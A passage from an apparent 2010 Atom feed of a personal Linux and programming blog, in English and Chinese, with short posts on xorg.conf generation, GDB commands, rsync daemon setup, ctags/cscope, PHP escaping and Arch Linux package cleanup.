onw_window_transparent is set to no, otherwise the window will be fully transparent. own_window_argb_visual must be turned on. own_window_argb_value is a value between 0 and 255 to indicate how much transparency you want.]]></content>
    </entry>
    <entry>
        <title>nvidia-xconfig</title>
        <link href="http://blog.cykerway.com/post/214" />
        <id>http://blog.cykerway.com/post/214</id>
        <updated>2010-08-19T00:23:34Z</updated>
        <content type="html"><![CDATA[<p>I remember when I install X.Org for the first time, it troubles me what tool I should use to generate the /etc/X11/xorg.conf file. There are multiple choices: hwd, Xorg -configure or nvidia-xconfig (for NVIDIA users), or you can copy and paste an existing one (no warranty of compatibility). </p>

<p>From my own experience, since I use NVIDIA graphics card, the best tool is <b>nvidia-xconfig</b>. It generates a simple but applicable configuration file. The operations it performs can be found in the man page of nvidia-xconfig as follows:</p>

<blockquote>
<p>nvidia-xconfig is a tool intended to provide basic control over configuration options available in the NVIDIA X driver.</p>

<p>nvidia-xconfig performs its operations in several steps:</p>

<ol>
<li>The system X configuration file is found and read into memory. If no configuration file can be found, nvidia-xconfig generates one from scratch using default settings; in this case, nvidia-xconfig will automatically determine the name of the X configuration file to create: /etc/X11/xorg.conf if the X server in use is X.org or /etc/X11/XF86Config if the X server in use is XFree86.</li>

<li>The configuration in memory is modified to support the NVIDIA driver. This consists of changing the display driver to &quot;nvidia&quot;, removing the commands to load the &quot;GLcore&quot; and &quot;dri&quot; modules, and adding the command to load the &quot;glx&quot; module.</li>

<li>The configuration in memory is modified according to the options specified on the command line. Please see the NVIDIA README for a description of the NVIDIA X configuration file options. Note that nvidia-xconfig does not perform any validation of the X configuration file options requested on the command line; X configuration file option validation is left for the NVIDIA X driver.</li>

<li>The configuration is written back to the file from which it was read. A backup of the original configuration is created with &quot;.backup&quot; appended. For example, if your X configuration is /etc/X11/xorg.conf then nvidia-xconfig will copy it to /etc/X11/xorg.conf.backup before writing the new configuration. The --post-tree (-T) option can be used to print the new configuration to standard out in tree form instead. This option is useful to see what nvidia-xconfig will do while leaving the original configuration intact.</li>
</ol>
</blockquote>

<p>nvidia-xconfig also has some options for you to choose. The options, such as --no-logo, will be written into xorg.conf in a correct form as well.</p>

<p>Finally, there is a sample of /etc/X11/xorg.conf generated by nvidia-xconfig:</p>

<pre class="brush:plain">
# nvidia-xconfig: X configuration file generated by nvidia-xconfig
# nvidia-xconfig:  version 256.44  (buildmeister@builder97.nvidia.com)  Thu Jul 29 02:00:07 PDT 2010


Section "ServerLayout"
    Identifier     "Layout0"
    Screen      0  "Screen0" 0 0
    InputDevice    "Keyboard0" "CoreKeyboard"
    InputDevice    "Mouse0" "CorePointer"
EndSection

Section "Files"
EndSection

Section "InputDevice"

    # generated from default
    Identifier     "Mouse0"
    Driver         "mouse"
    Option         "Protocol" "auto"
    Option         "Device" "/dev/psaux"
    Option         "Emulate3Buttons" "no"
    Option         "ZAxisMapping" "4 5"
EndSection

Section "InputDevice"

    # generated from default
    Identifier     "Keyboard0"
    Driver         "kbd"
EndSection

Section "Monitor"
    Identifier     "Monitor0"
    VendorName     "Unknown"
    ModelName      "Unknown"
    HorizSync       28.0 - 33.0
    VertRefresh     43.0 - 72.0
    Option         "DPMS"
EndSection

Section "Device"
    Identifier     "Device0"
    Driver         "nvidia"
    VendorName     "NVIDIA Corporation"
EndSection

Section "Screen"
    Identifier     "Screen0"
    Device         "Device0"
    Monitor        "Monitor0"
    DefaultDepth    24
    Option         "NoLogo" "True"
    SubSection     "Display"
        Depth       24
        Modes      "1280x800"
    EndSubSection
EndSection
</pre>]]></content>
    </entry>
    <entry>
        <title>FVWM Tutorial</title>
        <link href="http://blog.cykerway.com/post/213" />
        <id>http://blog.cykerway.com/post/213</id>
        <updated>2010-08-18T06:46:20Z</updated>
        <content type="html"><![CDATA[<p><a href="http://people.ku.edu/~syliu/shredderyin/fvwm.html">http://people.ku.edu/~syliu/shredderyin/fvwm.html</a></p>

<p><a href="http://zensites.net/fvwm/guide/index.html">http://zensites.net/fvwm/guide/index.html</a></p>

<p>Below is a modification of <a href="http://box-look.org/content/show.php/Lethe?content=91022">Lethe</a>, which is really cool.</p>

<p><a href="http://www.linuxsir.org/bbs/thread360833.html">http://www.linuxsir.org/bbs/thread360833.html</a></p>]]></content>
    </entry>
    <entry>
        <title>Knuth&#039;s .fvwm2rc</title>
        <link href="http://blog.cykerway.com/post/212" />
        <id>http://blog.cykerway.com/post/212</id>
        <updated>2010-08-18T02:25:24Z</updated>
        <content type="html"><![CDATA[<p>Prof. Knuth uses fvwm and has this beautiful <a href="http://www-cs-faculty.stanford.edu/~uno/programs/.fvwm2rc">.fvwm2rc</a> file.</p>

<p>Screenshot</p>

<p><a href="http://www-cs-faculty.stanford.edu/~uno/screen.jpeg"><img src="http://www-cs-faculty.stanford.edu/~uno/screen.jpeg" alt="Knuth_fvwm" /></a></p>]]></content>
    </entry>
    <entry>
        <title>Analysis of Git and Mercurial</title>
        <link href="http://blog.cykerway.com/post/211" />
        <id>http://blog.cykerway.com/post/211</id>
        <updated>2010-08-17T20:51:49Z</updated>
        <content type="html"><![CDATA[<p>This is an analysis of two dominant DVCSs, Git and Mercurial, conducted by Google in summer 2008. The author mainly talks about the differences and a benchmark is provided.</p>

<p><a href="http://code.google.com/p/support/wiki/DVCSAnalysis">http://code.google.com/p/support/wiki/DVCSAnalysis</a></p>

<p>Although Google finally chose Mercurial as its option for Google Code, I strongly recommend Git. I like its powerful features such as N-way merge, old revision pruning and branch rebasing, and I don&apos;t care the learning curve and platform-wide support. Actually I think learning curve might even be an advantage of Git, since what seems to be hard to learn often turns out to be the most useful. (But I dare not say everything is like this...Some rubbish are also hard to learn.)</p>

<p>I think why Google finally chose Mercurial is mostly due to its good performance using HTTP. But for personal use, you have totally free choice of HTTP, Git or even SSH. BTW, Blade is source-controlled by Git, and I haven&apos;t felt any uneasiness. Legacy always troubles big companies. As an individual, you don't have this pain.</p>]]></content>
    </entry>
    <entry>
        <title>SyntaxHighlighter Brushes</title>
        <link href="http://blog.cykerway.com/post/210" />
        <id>http://blog.cykerway.com/post/210</id>
        <updated>2010-08-16T18:38:38Z</updated>
        <content type="html"><![CDATA[<p>All Syntax Highlighter 2.0 brushes collected, described and downloadable. Although Syntax Highlighter 3.0 has come out, these 2.0 brushes are still applicable. </p>

<p>On this webpage you can find brushes for LaTeX and Matlab, which are not bundle with Syntax Highlighter, but very useful indeed.</p>

<p><a href="http://www.undermyhat.org/blog/2009/09/list-of-brushes-syntaxhighligher/">http://www.undermyhat.org/blog/2009/09/list-of-brushes-syntaxhighligher/</a></p>]]></content>
    </entry>
    <entry>
        <title>Dates in PHP and MySQL</title>
        <link href="http://blog.cykerway.com/post/207" />
        <id>http://blog.cykerway.com/post/207</id>
        <updated>2010-08-16T00:52:46Z</updated>
        <content type="html"><![CDATA[<p>This article illustrates how to handle <b>date and time</b> using PHP and MySQL.</p>

<p><a href="http://www.richardlord.net/blog/dates-in-php-and-mysql">http://www.richardlord.net/blog/dates-in-php-and-mysql</a></p>

<p>For the PHP date() format string, you can go to this place: </p>

<p><a href="http://www.w3schools.com/php/func_date_date.asp">http://www.w3schools.com/php/func_date_date.asp</a></p>]]></content>
    </entry>
    <entry>
        <title>Inline elements and padding</title>
        <link href="http://blog.cykerway.com/post/206" />
        <id>http://blog.cykerway.com/post/206</id>
        <updated>2010-08-14T23:53:21Z</updated>
        <content type="html"><![CDATA[<p><a href="http://www.maxdesign.com.au/articles/inline/">http://www.maxdesign.com.au/articles/inline/</a></p>

<p>上下padding对a无效……</p>]]></content>
    </entry>
    <entry>
        <title>What&#039;s a window manager</title>
        <link href="http://blog.cykerway.com/post/205" />
        <id>http://blog.cykerway.com/post/205</id>
        <updated>2010-08-14T06:04:21Z</updated>
        <content type="html"><![CDATA[<p><a href="http://www.tuxfiles.org/linuxhelp/xwtf.html">http://www.tuxfiles.org/linuxhelp/xwtf.html</a></p>

<p>好文章啊，早看到这种东西何必当初花那么多时间……</p>

<p>其实我觉得好像我也不太需要GNOME和KDE……</p>]]></content>
    </entry>
    <entry>
        <title>Magic Quotes in PHP</title>
        <link href="http://blog.cykerway.com/post/204" />
        <id>http://blog.cykerway.com/post/204</id>
        <updated>2010-08-09T15:04:17Z</updated>
        <content type="html"><![CDATA[<p><a href="http://www.php.net/manual/en/security.magicquotes.disabling.php">http://www.php.net/manual/en/security.magicquotes.disabling.php</a></p>

<p>自己动手转义还开这东西干什么，关了关了～～</p>]]></content>
    </entry>
    <entry>
        <title>P \neq NP?</title>
        <link href="http://blog.cykerway.com/post/203" />
        <id>http://blog.cykerway.com/post/203</id>
        <updated>2010-08-09T11:35:29Z</updated>
        <content type="html"><![CDATA[<p>HP Labs的Vinay Deolalikar声称自己证明了P $latex \neq $ NP，并发表了一份100多页的论文在</p>

<p><a href="http://www.scribd.com/doc/35539144/pnp12pt">http://www.scribd.com/doc/35539144/pnp12pt</a></p>

<p>难道说在我还是一个TCS小P的时候这个东西就被解决了么？</p>]]></content>
    </entry>
    <entry>
        <title>HTML escape in PHP</title>
        <link href="http://blog.cykerway.com/post/202" />
        <id>http://blog.cykerway.com/post/202</id>
        <updated>2010-08-08T20:00:19Z</updated>
        <content type="html"><![CDATA[<p>PHP处理HTML文档写入MySQL，转义符还是蛮容易出错，下面分析一下。</p>

<p>首先把这些有特殊意义的符号找出来，一共有主要这么几个：</p>
<table>
<tbody>
<tr>
<td>PHP</td>
<td>&lt;</td>
<td>&gt;</td>
<td>&amp;</td>
<td>'</td>
<td>"</td>
<td>[space]</td>
<td>\n</td>
</tr>
<tr>
<td>HTML</td>
<td>&amp;lt;</td>
<td>&amp;gt;</td>
<td>&amp;amp;</td>
<td>&amp;apos;</td>
<td>&amp;quot;</td>
<td>&amp;nbsp;</td>
<td>&lt;br /&gt;</td>
</tr>
</tbody>
</table>
<p>还有一些可以参见<a href="http://www.cnblogs.com/anjou/archive/2007/03/15/676476.html">http://www.cnblogs.com/anjou/archive/2007/03/15/676476.html</a></p>

<p>只要对应转换就可以。</p>

<p>要注意的问题有下面三点：</p>

<ol><li>HTML里有些tag和上面给出的不完全一致，例如&lt;pre&gt;&lt;/pre&gt;和&lt;code&gt;&lt;/code&gt;。

&lt;pre&gt;&lt;/pre&gt;是一个保留了空格和换行符的环境，同时改变字体显示。就是说在上面标准的HTML转义符和&lt;br /&gt;的基础上，&lt;pre&gt;&lt;/pre&gt;还可以识别[space]和\n。

&lt;code&gt;&lt;/code&gt;只改变字体显示。</li>

<li>PHP的单双引号内的转义规则。众所周知的PHP单双引号区别是双引号解释内部变量而单引号不解释。除此之外它们内部生效的转义符也不一样。具体可以参见<a href="http://www.vsnail.com/post/30.html">http://www.vsnail.com/post/30.html</a>

Note. 这个帖子有一个地方貌似不对，双引号里的\'转义无效，输出是\'不是'</li>

<li>PHP写入MySQL的字符串的理解。可以把过程看成是先脱去两边引号，然后还原内部转义字符（如果是双引号还要解释变量）。这时得到的字符串将原封不动地传递给MySQL。就是说这时得到的字符串应该包含且只包含MySQL的转义。把这个过程反过来就知道PHP里应该怎么写了。</li></ol>]]></content>
    </entry>
    <entry>
        <title>Hero As Webcam</title>
        <link href="http://blog.cykerway.com/post/201" />
        <id>http://blog.cykerway.com/post/201</id>
        <updated>2010-08-08T02:23:23Z</updated>
        <content type="html"><![CDATA[<p>先去菜市场里找一个叫USB Webcam的软件安Hero上。</p>

<p>然后到这<a href="http://www.placaware.com/?page_id=116">http://www.placaware.com/?page_id=116</a>找一个<a href="http://github.com/marcogulino/AndroidUsbCamera" target="_blank">AndroidUsbCamera</a>安在PC上。其实是托管在github上的，直接到这<a href="http://github.com/marcogulino/AndroidUsbCamera">http://github.com/marcogulino/AndroidUsbCamera</a>也行。</p>

<p>照着README.txt做就行，很详细。</p>

<p>不过make可能过不了，我实验的时候有2个错误：</p>
<ol>
	<li>qtInterfaces/socketinterface.h头文件路径&lt;qt4/QtNetwork/QAbstractSocket&gt;不对，﻿可能不同的distro不一样。Arch的话加个软链接
<pre class="brush:bash">ln -s /usr/include /usr/include/qt4</pre>
就解决了。</li>
	<li>framesconverter.cpp用到了livavutil的common.h文件static inline av_const int32_t av_clipl_int32_c(int64_t a)出现UINT64_C未定义错误。在上面加个patch就好﻿（从/usr/include/stdint.h搞来）：
<pre class="brush:c">// patch from /usr/include/stdint.h
# if __WORDSIZE == 64
#  define UINT64_C(c)	c ## UL
# else
#  define UINT64_C(c)	c ## ULL
# endif</pre>
</li>
</ol>
<p>编译出之后照着做就可以运行了。这时候你的机器上应该就可以识别出Hero为摄像头了。</p>

<p>但是Flash还是不认得。这个请参见强帖：</p>

<p><a href="http://swifthumors.blogspot.com/2008/03/linux-flash-webcam-headache.html">http://swifthumors.blogspot.com/2008/03/linux-flash-we﻿bcam-headache.html</a></p>

<p>里面说得很清楚。把flashcam装上modprobe一下就可以用了。</p>]]></content>
    </entry>
    <entry>
        <title>chmod file/directory separately</title>
        <link href="http://blog.cykerway.com/post/200" />
        <id>http://blog.cykerway.com/post/200</id>
        <updated>2010-08-04T00:57:31Z</updated>
        <content type="html"><![CDATA[<pre class="brush:bash">
find . -type d -exec chmod 755 '{}' \;
find . -type f -exec chmod 644 '{}' \;
</pre>]]></content>
    </entry>
    <entry>
        <title>HTMLParser and wkhtmltopdf</title>
        <link href="http://blog.cykerway.com/post/199" />
        <id>http://blog.cykerway.com/post/199</id>
        <updated>2010-08-03T21:20:59Z</updated>
        <content type="html"><![CDATA[<p>Python的HTMLParser真是灰常强大，简单实用。</p>

<p>放文两篇自己看吧。总的来说就是基于事件响应，有点像SAX。</p>

<p><a href="http://canofy.javaeye.com/blog/352419">http://canofy.javaeye.com/blog/352419</a></p>

<p><a href="http://diveintopython.org/html_processing/index.html">http://diveintopython.org/html_processing/index.html</a></p>

<p>其实吧，还有个工具wkhtmltopdf是用来HTML转PDF的，支持CSS，做出来的东西超漂亮。用法也很简单：</p>
<pre class="brush:bash">wkhtmltopdf --user-style-sheet style.css --image-quality 100 chap1.html chap2.html chap3.html output.pdf</pre>
<p>这俩东西放一起能干啥，就不用说了吧？</p>

<p>哦哈哈不要这么邪恶～其实还是鼓励大家买正版～或者看完了给作者donate一下也好嘛～donate多好啊，觉得有用再付钱，先尝后买，垃圾书再也赚不到钱，哦哈哈</p>]]></content>
    </entry>
    <entry>
        <title>Unix进化图史</title>
        <link href="http://blog.cykerway.com/post/198" />
        <id>http://blog.cykerway.com/post/198</id>
        <updated>2010-08-03T17:50:11Z</updated>
        <content type="html"><![CDATA[<p><a href="http://upload.wikimedia.org/wikipedia/commons/7/77/Unix_history-simple.svg"><img class="alignnone" title="Unix_history" src="http://upload.wikimedia.org/wikipedia/commons/7/77/Unix_history-simple.svg" alt="" /></a></p>
<p><a href="http://upload.wikimedia.org/wikipedia/commons/5/51/Unix_history.svg"><img class="alignnone" title="Unix_history" src="http://upload.wikimedia.org/wikipedia/commons/5/51/Unix_history.svg" alt="" /></a></p>]]></content>
    </entry>
    <entry>
        <title>清理Arch无用包</title>
        <link href="http://blog.cykerway.com/post/197" />
        <id>http://blog.cykerway.com/post/197</id>
        <updated>2010-08-03T04:01:54Z</updated>
        <content type="html"><![CDATA[<p>久不清理的机器上淤积了很多无用包，一行命令清理干净：</p>

<pre class="brush:bash">
pacman -Qdt | awk '{print $1}' | xargs pacman --noconfirm -R
</pre>

<p>第一次居然有500多M……</p>

<p>不要急，一次不算完，叶结点被删除之后倒数第二层又会有一部分变成叶结点。几次之后就收敛到0了，一般收敛速度还挺快。挺有意思的。</p>]]></content>
    </entry>
    <entry>
        <title>GDB常用命令</title>
        <link href="http://blog.cykerway.com/post/196" />
        <id>http://blog.cykerway.com/post/196</id>
        <updated>2010-08-02T19:24:00Z</updated>
        <content type="html"><![CDATA[<p>用gcc/g++编译程序的时候使用-g或-ggdb选项。</p>

<p>输入</p>
<pre class="brush:bash">gdb [program name]</pre>
<p>开始调试。</p>
<table border="1">
    <tbody>
        <tr>
            <td>r</td>
            <td>run program from start</td>
        </tr>
        <tr>
            <td>k</td>
            <td>kill current running program</td>
        </tr>
        <tr>
            <td>q</td>
            <td>quit GDB</td>
        </tr>
        <tr>
            <td>info b</td>
            <td>get info about current breakpoints</td>
        </tr>
        <tr>
            <td>b [source file]:[line number]</td>
            <td>set breakpoint at specific line number</td>
        </tr>
        <tr>
            <td>b [source file]:[function name]</td>
            <td>set breakpoint at specific function entry</td>
        </tr>
        <tr>
            <td>en [number]</td>
            <td>enable breakpoint [number]</td>
        </tr>
        <tr>
            <td>dis [number]</td>
            <td>disable breakpoint [number]</td>
        </tr>
        <tr>
            <td>d [number]</td>
            <td>delete breakpoint [number]</td>
        </tr>
        <tr>
            <td>ig [number] [times]</td>
            <td>ignore breakpoint [number] for [times] times</td>
        </tr>
        <tr>
            <td>cond [number] [expression]</td>
            <td>breakpoint [number] takes effect only if [expression] is true</td>
        </tr>
        <tr>
            <td>s</td>
            <td>step into (one source line)</td>
        </tr>
        <tr>
            <td>n</td>
            <td>step over (one source line)</td>
        </tr>
        <tr>
            <td>si</td>
            <td>step into (one instruction)</td>
        </tr>
        <tr>
            <td>ni</td>
            <td>step over (one instruction)</td>
        </tr>
        <tr>
            <td>c</td>
            <td>continue program, after breakpoint</td>
        </tr>
        <tr>
            <td>finish</td>
            <td>run until current function finishes</td>
        </tr>
        <tr>
            <td>p [expression]</td>
            <td><p>print values of [expression]</p><p>[expression] can be [variable name], [function name], [memory address]</p></td>
        </tr>
        <tr>
            <td>disp [expression]</td>
            <td><p>print values of [expression] each time the program stops</p>

<p>if no [expression] is given, display all</p></td>
        </tr>
        <tr>
            <td>info disp</td>
            <td>get info about current displays</td>
        </tr>
        <tr>
            <td>en disp [number]</td>
            <td>enable display [number]</td>
        </tr>
        <tr>
            <td>dis disp [number]</td>
            <td>disable display [number]</td>
        </tr>
        <tr>
            <td>d disp [number]</td>
            <td>delete display [number]</td>
        </tr>
        <tr>
            <td>x/[fmt] [expression]</td>
            <td><p>examine memory at address [expression] using format [fmt]</p><p>[fmt] = [number][oxdutfaics][bhwg]</p><p>Examples:</p><p>x/32xb main</p><p>x/32xb 0x8048394</p><p>x/w &amp;c (suppose c is of type int)</p><p>x/s pc (suppose pc is of type char *)</p></td>
        </tr>
        <tr>
            <td>pt [expression]</td>
            <td>print definition of [expression]</td>
        </tr>
        <tr>
            <td>bt</td>
            <td>print backtrace of all stack frames</td>
        </tr>
        <tr>
            <td>f</td>
            <td>print current stack frame</td>
        </tr>
        <tr>
            <td>f [number]</td>
            <td>print stack frame at level [number], 0 is current</td>
        </tr>
        <tr>
            <td>l [function name]</td>
            <td>list source code near [function name]</td>
        </tr>
        <tr>
            <td>l [variable name]</td>
            <td>list source code near [variable name]</td>
        </tr>
        <tr>
            <td>l</td>
            <td>list source code from last call of list (forward)</td>
        </tr>
        <tr>
            <td>l -</td>
            <td>list source code from last call of list (backward)</td>
        </tr>
        <tr>
            <td>info r</td>
            <td>get info about current registers</td>
        </tr>
        <tr>
            <td>h [command]</td>
            <td>get help about [command]</td>
        </tr>
        <tr>
            <td>[Enter]</td>
            <td>Press Enter repeats the last command</td>
        </tr>
    </tbody>
</table>
<p>And you may also want this <a href="http://users.ece.utexas.edu/~adnan/gdb-refcard.pdf">GDB reference card</a>.</p>
<p>Note.</p>
<ol>
<li>
<p>How to list current line?</p>
<p>You can use <b>l</b>. But bare l has memory, i.e., if you run it again, it will display the next several lines. A better solution is <b>f</b> and <b>l *$pc</b>.</p>
</li>
</ol>]]></content>
    </entry>
    <entry>
        <title>autocutsel</title>
        <link href="http://blog.cykerway.com/post/195" />
        <id>http://blog.cykerway.com/post/195</id>
        <updated>2010-07-30T13:26:37Z</updated>
        <content type="html"><![CDATA[<p>用rxvt的同学可能觉得没法把CLIPBOARD的东西直接贴进去很麻烦吧。有个很NB的tool叫autocutsel，可以同步cut buffer和CLIPBOARD。但是其实这东西的价值不只这些。用-s选项可以把CLIPBOARD替换为PRIMARY，也就是同步cut buffer和PRIMARY。</p>

<p>但是这也没啥用（至少对于想往rxvt里粘CLIPBOARD的人）。俺们想要的是PRIMARY和CLIPBOARD的同步。autocutsel给出了一个十分、十分NB的解决方案：</p>

<pre class="brush:bash">
autocutsel -s PRIMARY &
autocutsel -s CLIPBOARD &
</pre>

<p>开两个autocutsel，一个盯着PRIMARY，一个盯着CLIPBOARD，吾叹为观止……</p>

<p>话说这<a href="http://snarfed.org/autocutsel_clipboard_and_primary_patch">哥们</a>本来写了个patch，后来在<a href="https://savannah.nongnu.org/patch/?func=detailitem&item_id=3367">这里</a>见到开两个autocutsel的方法后……估计也折服了……</p>

<p>不过得提醒一下，有时候PRIMARY和CLIPBOARD同步起来也不是很方便，比如你在一个窗口里复制到剪贴板里一些东西，在另一个窗口里选中一些东西想要它们被剪贴板里的东西替换掉。对不起，你选中这些东西的时候它们就已经进剪贴板了。有个开关可以toggle一下还不错。</p>

<p>Update. 开关写好了，保存为/etc/rc.d/autocutsel就可以用</p>
<pre class="brush:bash">
/etc/rc.d/autocutsel {start | stop | restart}
</pre>
<p>开关了。</p>

<pre class="brush:bash">
#!/bin/bash

. /etc/rc.conf
. /etc/rc.d/functions

PID=`pidof -o %PPID /usr/bin/autocutsel`
case "$1" in
  start)
    stat_busy "Starting autocutsel ... "
    [ -z "$PID" ] && /usr/bin/autocutsel -f -s PRIMARY &> /dev/null && /usr/bin/autocutsel -f -s CLIPBOARD &> /dev/null
    if [ $? -gt 0 ]; then
      stat_fail
    else
      add_daemon autocutsel
      stat_done
    fi
    ;;
  stop)
    stat_busy "Stopping autocutsel ..."
    [ ! -z "$PID" ]  && kill $PID &> /dev/null
    if [ $? -gt 0 ]; then
      stat_fail
    else
      rm_daemon autocutsel
      stat_done
    fi
    ;;
  restart)
    $0 stop
    sleep 1
    $0 start
    ;;
  *)
    echo "usage: $0 {start|stop|restart}"  
esac
exit 0
</pre>]]></content>
    </entry>
    <entry>
        <title>Change Partition Label</title>
        <link href="http://blog.cykerway.com/post/194" />
        <id>http://blog.cykerway.com/post/194</id>
        <updated>2010-07-30T07:30:38Z</updated>
        <content type="html"><![CDATA[<p>对于ntfs分区，用ntfslabel，格式如下：</p>
<pre class="brush:bash">ntfslabel /dev/sda1 disk_label</pre>
<p>其他的见这里：</p>

<p><a href="http://lanlfeng.blog.51cto.com/337014/121566/">http://lanlfeng.blog.51cto.com/337014/121566/</a></p>]]></content>
    </entry>
    <entry>
        <title>C数组形参</title>
        <link href="http://blog.cykerway.com/post/193" />
        <id>http://blog.cykerway.com/post/193</id>
        <updated>2010-07-29T11:13:22Z</updated>
        <content type="html"><![CDATA[<p>用C的人想必对char *argv[]和char **argv都很熟悉了，但是有没有想过到底真实情况是哪一种呢？</p>

<p>判断方法很简单，++argv编译通过就可以确定是char **了。也可以取sizeof，结果（在32位机）是4。</p>

<p>很早以前在一本书上见到过“数组作形参相当于指针”，不过今天看来这样理解还是不够深入，不如说成“数组作形参就是指针”。因为它的行为完完全全就是一个指针。</p>

<p>Note. 求有关数组形参退化为指针编译细节的文档</p>

<p>跑一下下面这个程序就知道了。</p>

<pre class="brush:c">
#include "stdio.h"
#include "ctype.h"
#include "string.h"

void asPointer(char *p)
{
    printf("asPointer\t%d\n",sizeof(p));

    //test auto-increment
    p++;
    char *q;
    q++;
    return;
}

void asArray(char a[])
{
    printf("asArray\t%d\n",sizeof(a));

    //test auto-increment
    a++;
    char b[9];
    b++; //cannot compile
    return;
}

int main()
{
    char* p = "a string";
    char a[9];
    strcpy(a,p);

    printf("main\t%d\n",sizeof(p));
    printf("main\t%d\n",sizeof(a));
    asPointer(p);
    asPointer(a);
    asArray(p);
    asArray(a);

    return 0;
}
</pre>

<p>所以形参以什么形式给出其实不重要。只要记得真实情况是指针并且当作指针用就行了。</p>

<p>C学得太菜了……</p>]]></content>
    </entry>
    <entry>
        <title>rsync</title>
        <link href="http://blog.cykerway.com/post/191" />
        <id>http://blog.cykerway.com/post/191</id>
        <updated>2010-07-28T03:13:53Z</updated>
        <content type="html"><![CDATA[<p>rsync，著名同步软件。既可做本地同步，也可作网络同步。</p>

<p><strong>本地同步</strong></p>

<p>假设有两个目录，foo和bar，并有文件foo/main.c</p>
<p>执行</p>
<pre class="brush:bash">rsync -avz --delete foo bar</pre>
<p>即可将foo同步到bar下，即foo是bar的一个子目录。如果只想把foo下的内容同步到bar，执行</p>
<pre class="brush:bash">rsync -avz --delete foo/* bar</pre>

<p>说明：</p>
<ul>
	<li>-a启用档案模式，相当于-rlptgoD，包括递归，保持symbolic link，保持各种属性（具体请man）</li>
	<li>-v启用verbose模式</li>
	<li>-z启用压缩</li>
	<li>--delete将源目录不存在的文件在目标目录删除</li>
</ul>

<p><strong>网络同步</strong></p>

<p>假设Server IP为10.0.0.1。在Server上安装rsync，然后建立/修改配置文件/etc/rsyncd.conf如下：</p>

<pre class="brush:bash">
# uid and gid for file transfer when rsyncd is run as root
uid = nobody
gid = nogroup

# bind to address
address = 10.0.0.1

# port
port = 837

# chroot to module dir
use chroot = yes

# maximum simultaneous connection
max connections = 4

# log file and pid file
log file = /var/log/rsyncd.log
pid file = /var/run/rsyncd.pid

# hosts allow and deny
hosts allow = 2001:xxxx:xxxx:xxxx:xxxx:xxxx:xxxx/64, 10.0.0.1/24
hosts deny = *

[public]
        path = /home/user/public_dir
        comment = public directory

[private]
        path = /home/user/private_dir
        comment = private directory
        auth users = alice, bob
        secrets file = /etc/rsyncd.secrets
</pre>

<ul>
<li>其中837是默认端口。address, uid, gid自行修改。</li>
<li>hosts allow和hosts deny可以包含多个IPv4和IPv6地址，用逗号隔开。</li>
<li>下面模块的名称，路径，注释也自行修改。</li>
<li>auth users指定允许连接的用户列表，若没有该行，那么默认所有人可以连接。</li>
<li><p>secrets file包含了auth users及其对应的密码，并且需要设置权限为其他人不可读，如600。本例中/etc/rsyncd.secrets文件为：</p>
<pre class="brush:bash">
alice:alice123
bob:bob123
</pre>
<p>Note. 并不要求alice和bob是rsync server上实际存在的用户名。</p>
</li>
</ul>

<p>保存后启动rsync server</p>
<pre class="brush:bash">
/etc/rc.d/rsync start
</pre>

<p>从Client连接Server</p>
<pre class="brush:bash">
rsync --list-only 10.0.0.1::
</pre>
<p>其中::表示以rsync daemon方式访问。应该可以看到：</p>

<pre class="brush:bash">
public        public directory
private       private directory
</pre>
<p>这时就可以用</p>

<pre class="brush:bash">
rsync -avz --delete 10.0.0.1::public ./dst
</pre>
<p>将Server上/home/user/public_dir下的内容（不包括/home/user/public_dir目录本身）同步到./dst目录下。</p>

<p>如果要同步private目录，需要先建立一个password文件。例如我们要以用户名alice同步private目录，那么建立alice.password，内容为alice的明文密码，权限为600：</p>
<pre class="brush:bash">
alice123
</pre>

<p>这时就可以用</p>

<pre class="brush:bash">
rsync --password-file=alice.password -avz --delete alice@10.0.0.1::private ./dst
</pre>
<p>将Server上/home/user/private_dir下的内容（不包括/home/user/private_dir目录本身）同步到./dst目录下。</p>

<p>网络同步还有一种方式就是通过远程登录。这和本地同步很类似，只需要加上-e ssh，并把::改成:（就如同scp）及附上真实路径：</p>

<pre class="brush:bash">
rsync -avz --delete -e ssh user@10.0.0.1:/home/user/sync_dir ./dst
</pre>
<p>这和上面那条命令的效果是一样的么？当然不是，别忘了加/*</p>

<pre class="brush:bash">
rsync -avz --delete -e ssh user@10.0.0.1:/home/user/sync_dir/* ./dst
</pre>
<p>这就一样了。</p>

<p>rsync documentation is a good place to learn more:</p>
<ul>
<li>rsync man page: <a href="http://www.samba.org/ftp/rsync/rsync.html">http://www.samba.org/ftp/rsync/rsync.html</a></li>
<li>rsyncd.conf man page: <a href="http://www.samba.org/ftp/rsync/rsyncd.conf.html">http://www.samba.org/ftp/rsync/rsyncd.conf.html</a></li>
</ul>]]></content>
    </entry>
    <entry>
        <title>Ctags and Cscope</title>
        <link href="http://blog.cykerway.com/post/190" />
        <id>http://blog.cykerway.com/post/190</id>
        <updated>2010-07-26T07:17:49Z</updated>
        <content type="html"><![CDATA[<p><strong>ctags - generate tag files for source code</strong></p>

<p>Basic usage:</p>
<ol>
	<li>Install ctags using pacman (on Arch)</li>
	<li>Enter the root directory of the source code, and generate tags by running
<pre class="brush:bash">ctags -R</pre>
</li>
	<li>In vim, locate the cursor on variable or function names, then
<ul>
	<li>use Ctrl+] to jump to the definition (push into the tag stack)</li>
	<li>use Ctrl+T to jump back (pull from the stack)</li>
</ul>
</li>
</ol>
<p>Generate tags for C and C++ standard library (for Arch only):</p>
<ol>
	<li>Setup a folder ~/.vim/ctags</li>
	<li>Run in ~/.vim/ctags
<pre class="brush:bash">pacman -Ql glibc | awk '/\/usr\/include/{print $2}' &gt; c_headers
ctags -L c_headers --c-kinds=+p --fields=+iaS --extra=+q -f c
pacman -Ql gcc | awk '/\/usr\/include/{print $2}' &gt; c++_headers
ctags -L c++_headers --c++-kinds=+p --fields=+iaS --extra=+q -f c++</pre>
</li>
	<li>Add the following lines in .vimrc
<pre class="brush:bash">set tags+=~/.vim/ctags/c
set tags+=~/.vim/ctags/c++</pre>
</li>
</ol>
<p><strong>cscope - interactively examine a C program</strong></p>

<p>Basic usage:</p>
<ol>
	<li>Install cscope using pacman (on Arch)</li>
	<li>Enter the root directory of the source code, and generate cscope database by running
<pre class="brush:bash">cscope -Rb</pre>
Note.
<ol>
	<li>For operating system or C/C++ standard library development, use
<pre class="brush:bash">cscope -Rbk</pre>
</li>
	<li>For lookup accleration, use
<pre class="brush:bash">cscope -Rbq</pre>
</li>
</ol>
</li>
<li>In vim, first run
<pre class="brush:bash">:cs add cscope.out</pre>
<p>Then you can use various cscope commands. To see help, run</p>
<pre class="brush:bash">:cs</pre>
</li>
</ol>
